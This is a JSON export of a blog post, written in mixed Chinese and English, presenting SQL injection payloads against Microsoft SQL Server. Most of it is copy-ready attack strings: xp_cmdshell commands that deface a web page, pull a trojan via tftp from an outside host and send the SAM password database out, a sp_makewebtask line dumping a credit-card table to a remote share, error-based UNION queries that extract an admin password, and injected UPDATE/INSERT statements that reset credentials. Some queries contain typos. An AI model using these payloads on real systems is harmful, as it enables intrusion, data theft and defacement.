{"id":445,"date":"2020-08-03T22:27:00","date_gmt":"2020-08-03T14:27:00","guid":{"rendered":"http:\/\/note.systw.net\/note\/?p=445"},"modified":"2024-02-17T20:21:13","modified_gmt":"2024-02-17T12:21:13","slug":"sql-injection-example-for-windows","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/445","title":{"rendered":"SQL injection example for windows"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>using sql server stored procedures<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>executing operating system commands<\/strong><br>\u4f7f\u7528stored procedures such as master..xp_cmdshell<br>\u8a9e\u6cd5\u5982\u4e0b<br><code>blah' ; exec master..xp_cmdshell \"insert os command\"<\/code><br>ps:\u82e5single quote\u7121\u6cd5\u904b\u4f5c\u53ef\u4f7f\u7528double quote<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ex:\nping a server\nblah' ; exec master..xp_cmdshell \"ping 10.1.2.3\" --\nlist the directory file\nblah' ; exec master..xp_cmdshell \"dir c:*.*\/s > c:\\directory.txt\" --\ncreate a file\nblah' ; exec master..xp_cmdshell \"echo hello > c:\\hello.txt\" --\ndefacing a web page\nblah' ; exec master..xp_cmdshell \"echo you-are-defaced > c:\\inetpub\\www\\root\\index.htm\" --\nexecute non-gui applications\nblah' ; exec master..xp_cmdshell \"cmd.exe \/c appname.exe\" --\nupload a trojan to the server\nblah' ; exec master..xp_cmdshell \"tftp -i 10.1.2.3 GET trojan.exe c:\\trojan.exe\" --\ndownload a trojan to the server\nblah' ; exec master..xp_cmdshell \"tftp -i 10.1.2.1 PUT c:\\winnt\\repair\\SAM SAM\" --<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><br>&#8230;..<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>use sp_makewebtask to write a query into an html<\/strong><br>sp_makewebtask\u662fSQL Server \u5305\u542b\u4e00\u500bstored procedures<br>\u662f\u7528\u4f86\u5f97\u5230WebShell\u7684\uff0c\u4e3b\u8981\u529f\u80fd\u5c31\u662f\u5c0e\u51fa\u8cc7\u6599\u5eab\u4e2d\u8868\u7684\u8a18\u9304\u70ba\u6a94<br>\u8a9e\u6cd5\u5982\u4e0b:<br><code>blah' ; exec master..sp_makewebtask \"webpage\",\"sql command\"<\/code><br>ex:<br>\u8f38\u51facreditcard table\u5230\u7db2\u9801<br><code>blah' ; exec master..sp_makewebtask \"\\\\10.10.1.4\\share\\creditcard.html\",\"select * from creditcard\"<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8230;..<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>getting data from the database using odbc error message<\/strong><br>\u4f7f\u7528\u7279\u6b8a\u7684sql query\u8feb\u4f7fMS SQL SERVER\u5f9e\u8fd4\u56de\u7684message\u4e2d\u5f97\u5230\u9700\u8981\u7684\u8cc7\u6599,\u5982table name,column name<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>using UNION\u5b50\u53e5<\/strong><br>\u8a9e\u6cd5\u5927\u81f4\u5982\u4e0b<br><code>http:\/\/web\/page.asp?var=value \"UNION subquery\"<\/code><br>\u7cfb\u7d71\u6703\u7522\u751ferror message,\u4e26\u6839\u64daUNION subquery\u900f\u9732\u76f8\u95dc\u8cc7\u8a0a<br>\u64cd\u4f5c\u5927\u81f4\u5982\u4e0b<br><code>http:\/\/www.web.com\/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEM.TABLES-<\/code><br>when the user UNIONS this string value to an integer 10,sql server makes an effort to convert a string(nvarchar)to an integer,thus it produces an error,since converting nvarchar to int is not possible.the server display the error<br>\u4f7f\u7528UNION\u5b50\u53e5\u5c07\u8acb\u6c42string value\u52a0\u5165integer 10,SQL SERVER\u6703\u5617\u8a66\u8f49\u63db\u8a72string\u70bainteger<br>\u82e5\u7121\u6cd5\u628a\u5b57\u7b26\u4e32(nvarchar)\u8f49\u70ba\u6574\u6578\u578b(int)\u6642\uff0c\u7cfb\u7d71\u5c31\u6703\u7522\u751f\u932f\u8aa4<br>\u7cfb\u7d71\u7522\u751f\u4ee5\u4e0b\u7684error message<br><code>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'<br>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.<br>\/index.asp, line 5<\/code><br>\u6b64error message\u900f\u9732\u51fa\u7b2c\u4e00\u500btable name\u70batable1<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><br>UNION subquery\u7bc4\u4f8b:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u8b93\u7cfb\u7d71\u5728\u900f\u9732\u51fa\u7b2c\u4e8c\u500btable name<\/strong><br><code>UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEM.TABLES WHERE TABLE_NAME NOT IN('table1')--<\/code><br>\u7cfb\u7d71\u8f38\u51faerror message\u82e5\u51fa\u73fe&#8230;the nvarchar value &#8216;admin_name&#8217; to a column &#8230; ,\u8868\u793atable name\u70baadmin_name<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4f7f\u7528like\u57f7\u884c\u4ee5\u4e0b\u8a9e\u6cd5\u53ef\u8b93\u7cfb\u7d71\u900f\u9732\u51fa\u542b login\u7684\u7b2c\u4e00\u500btable name<\/strong><br><code>UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEM.TABLES WHERE TABLE_NAME like '%25LOGIN%25'--<\/code><br>\u7cfb\u7d71\u8f38\u51fa error message\u82e5\u51fa\u73fe&#8230;the nvarchar value &#8216;admin_login&#8217; to a column&#8230; ,\u8868\u793atable name\u70baadmin_login<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u8b93\u7cfb\u7d71\u900f\u9732\u51faadmin_login\u7684\u7b2c\u4e00\u500bcolumn<\/strong><br><code>UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--<\/code><br>\u7cfb\u7d71\u8f38\u51faerror message\u82e5\u51fa\u73fe&#8230;the nvarchar value &#8216;login_id&#8217; to a column &#8230;,\u8868\u793acolumn name\u70balogin_id<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u8b93\u7cfb\u7d71\u900f\u9732\u51fa admin_login\u7684\u7b2c\u4e8c\u500bcolumn<\/strong><br><code>UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN('login_id')--<\/code><br>\u7cfb\u7d71\u8f38\u51faerror message\u82e5\u51fa\u73fe&#8230;the nvarchar value &#8216;login_name&#8217; to a column &#8230;,\u8868\u793acolumn name\u70balogin_name<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u8b93\u7cfb\u7d71\u900f\u9732\u51faadmin_login\u8cc7\u6599\u8868\u7684login_name\u7684\u7b2c\u4e00\u500b\u503c<\/strong><br><code>UNION SELECT TOP 1 login_name FROM admin_login --<\/code><br>\u7cfb\u7d71\u8f38\u51faerror message\u82e5\u51fa\u73fe&#8230;the nvarchar value &#8216;ray&#8217; to a column &#8230;,\u8868\u793alogin_name\u7b2c\u4e00\u500b\u503c\u70baray<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u8b93\u7cfb\u7d71\u900f\u9732\u51faadmin_login\u8cc7\u6599\u8868\u7684 password\u7684\u503c,\u4e14login_name\u70baray<\/strong><br><code>UNION SELECT TOP 1 password FROM admin_login where login_name='ray'--<\/code><br>\u7cfb\u7d71\u8f38\u51faerror message\u82e5\u51fa\u73fe&#8230;the nvarchar value &#8216;ixtr3n&#8217; to a column &#8230;,\u8868\u793aray\u7684password\u70baixtr3n<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><br>ps:<br>INFORMATION_SCHEM.TABLES: contains information about all tables in the server<br>&#8230;..<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>update\/insert date into database<\/strong><br>\u8a9e\u6cd5\u5927\u81f4\u5982\u4e0b<br><code>http:\/\/web\/page.asp?var=value;\"update or insert sql query\"<\/code><br>ex:<br><code>http:\/\/www.web.com\/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'goodjob' WHERE login_name='ray' --<br>http:\/\/www.web.com\/index.asp?id=10; INSERT INTO 'admin_login' ('login_id','loain_name','password') VALUES(123,'ray','goodjob') -<\/code>&#8211;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>attacking sql servers<\/strong><br>\u65b9\u6cd5\u6709<br>SSRS<br>Osql-l probe<br>sc.exe<br>port scanning<br>use of commercial alternatives<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>SSRS(sql server resolution service)<\/strong><br>the service is responsible for sending a response packet containing the connection details of clients who send a specially formed request<br>the packet contains the details necessary to connect to the desired instance,including the tcp port<br>\u4f7f\u7528udp 1434<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>SSRS buffer overflow vulnerabilities:<\/strong><br>allow remote attackers to overwrite portions of system&#8217;s memory and execute arbitrary codes<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Osql-l probe<\/strong><br>a command-line utility provided by microsoft with sql server 2000<br>allow the user to issue queries to the server<br>\u7528\u9014:list servers<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>sc.exe<\/strong><br>the server controller command makes it possible to query servers to see if they are offering sql server services<br>\u7528\u9014:sweeping of services,\u67e5\u8a62\u5c0d\u65b9\u662f\u5426\u70basql server<\/p>\n","protected":false},"excerpt":{"rendered":"<p>using sql server stored proced &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[38],"tags":[],"class_list":["post-445","post","type-post","status-publish","format-standard","hentry","category-serverside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack-related-posts":[{"id":888,"url":"https:\/\/systw.net\/note\/archives\/888","url_meta":{"origin":445,"position":0},"title":"IOS Device Command","author":"raymond","date":"2008 \u5e74 10 \u6708 7 \u65e5","format":false,"excerpt":"\u8a2d\u5b9a\u8a2d\u5099\u540d\u7a31(config)#hostname < name>ex:\u8a2d\u5b9a\u6b64\u8a2d\u5099\u70bataiw\u2026","rel":"","context":"\u5728\u300cCisco network\u300d\u4e2d","block_context":{"text":"Cisco network","link":"https:\/\/systw.net\/note\/archives\/category\/network\/cisco-network"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":276,"url":"https:\/\/systw.net\/note\/archives\/276","url_meta":{"origin":445,"position":1},"title":"Apache PHP\u57fa\u672c\u5b89\u5168\u8a2d\u5b9a","author":"raymond","date":"2019 \u5e74 10 \u6708 20 \u65e5","format":false,"excerpt":"Apache Security \u4fee\u88dc\u5df2\u77e5Apache\u6f0f\u6d1e \u5df2\u77e5Apache\u6f0f\u6d1e http:\/\/www\u2026","rel":"","context":"\u5728\u300c\u5b89\u5168\u89e3\u6c7a\u65b9\u6848\u300d\u4e2d","block_context":{"text":"\u5b89\u5168\u89e3\u6c7a\u65b9\u6848","link":"https:\/\/systw.net\/note\/archives\/category\/securitysloution"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":1234,"url":"https:\/\/systw.net\/note\/archives\/1234","url_meta":{"origin":445,"position":2},"title":"SQL blind injection","author":"raymond","date":"2023 \u5e74 2 \u6708 17 \u65e5","format":false,"excerpt":"\u7576\u61c9\u7528\u7a0b\u5f0f\u5bb9\u6613\u53d7\u5230 SQL \u6ce8\u5165\u653b\u64ca\uff0c\u4f46\u5176 HTTP \u56de\u61c9\u4e0d\u5305\u542b\u76f8\u95dc SQL \u67e5\u8a62\u7684\u7d50\u679c\u6216\u4efb\u4f55\u8cc7\u6599\u5eab\u2026","rel":"","context":"\u5728\u300cServerSide\u300d\u4e2d","block_context":{"text":"ServerSide","link":"https:\/\/systw.net\/note\/archives\/category\/hackerthreat\/serverside"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":1264,"url":"https:\/\/systw.net\/note\/archives\/1264","url_meta":{"origin":445,"position":3},"title":"DOM XSS to open redirection","author":"raymond","date":"2023 \u5e74 2 \u6708 19 \u65e5","format":false,"excerpt":"\u653b\u64ca\u8005\u5982\u679c\u53ef\u4ee5\u5f71\u97ff\u8de8\u57df\u7528\u7684sink\u6642\uff0c\u5c31\u6703\u51fa\u73fe\u57fa\u65bc DOM \u7684\u958b\u653e\u91cd\u5b9a\u5411\u6f0f\u6d1e\u3002\u5982\u679c\u6709\u6b64\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u5229\u7528\u2026","rel":"","context":"\u5728\u300cClientSide\u300d\u4e2d","block_context":{"text":"ClientSide","link":"https:\/\/systw.net\/note\/archives\/category\/hackerthreat\/clientside"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":33,"url":"https:\/\/systw.net\/note\/archives\/33","url_meta":{"origin":445,"position":4},"title":"Dangerous PHP code","author":"raymond","date":"2024 \u5e74 9 \u6708 1 \u65e5","format":false,"excerpt":"PHP\u4e2d\u6709\u4e00\u4e9b\u51fd\u6578\u5728\u4e0d\u7576\u4f7f\u7528\u6216\u672a\u7d93\u9069\u7576\u4fdd\u8b77\u6642\u53ef\u80fd\u6703\u5f15\u767c\u56b4\u91cd\u7684\u5b89\u5168\u554f\u984c\uff0c\u9019\u4e9b\u51fd\u6578\u88ab\u7a31\u70ba\u5371\u96aa\u51fd\u6578\u3002\u5b83\u5011\u7684\u2026","rel":"","context":"\u5728\u300cServerSide\u300d\u4e2d","block_context":{"text":"ServerSide","link":"https:\/\/systw.net\/note\/archives\/category\/hackerthreat\/serverside"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":1897,"url":"https:\/\/systw.net\/note\/archives\/1897","url_meta":{"origin":445,"position":5},"title":"Reverse Shell","author":"raymond","date":"2024 \u5e74 10 \u6708 1 \u65e5","format":false,"excerpt":"\u53cd\u5411shell\u662f\u4e00\u7a2e\u5efa\u7acb\u653b\u64ca\u8005\u8207\u76ee\u6a19\u7cfb\u7d71\u9593\u901a\u8a0a\u7684\u6280\u8853\uff0c\u4e3b\u8981\u7528\u65bc\u9632\u706b\u7246\u74b0\u5883\u3002\u53ef\u5229\u7528\u591a\u7a2e\u7a0b\u5f0f\u8a9e\u8a00\u8207\u5de5\u5177\u5be6\u2026","rel":"","context":"\u5728\u300cOperations\u300d\u4e2d","block_context":{"text":"Operations","link":"https:\/\/systw.net\/note\/archives\/category\/hackerthreat\/operations"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]}],"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/445","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=445"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/445\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=445"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=445"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=445"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}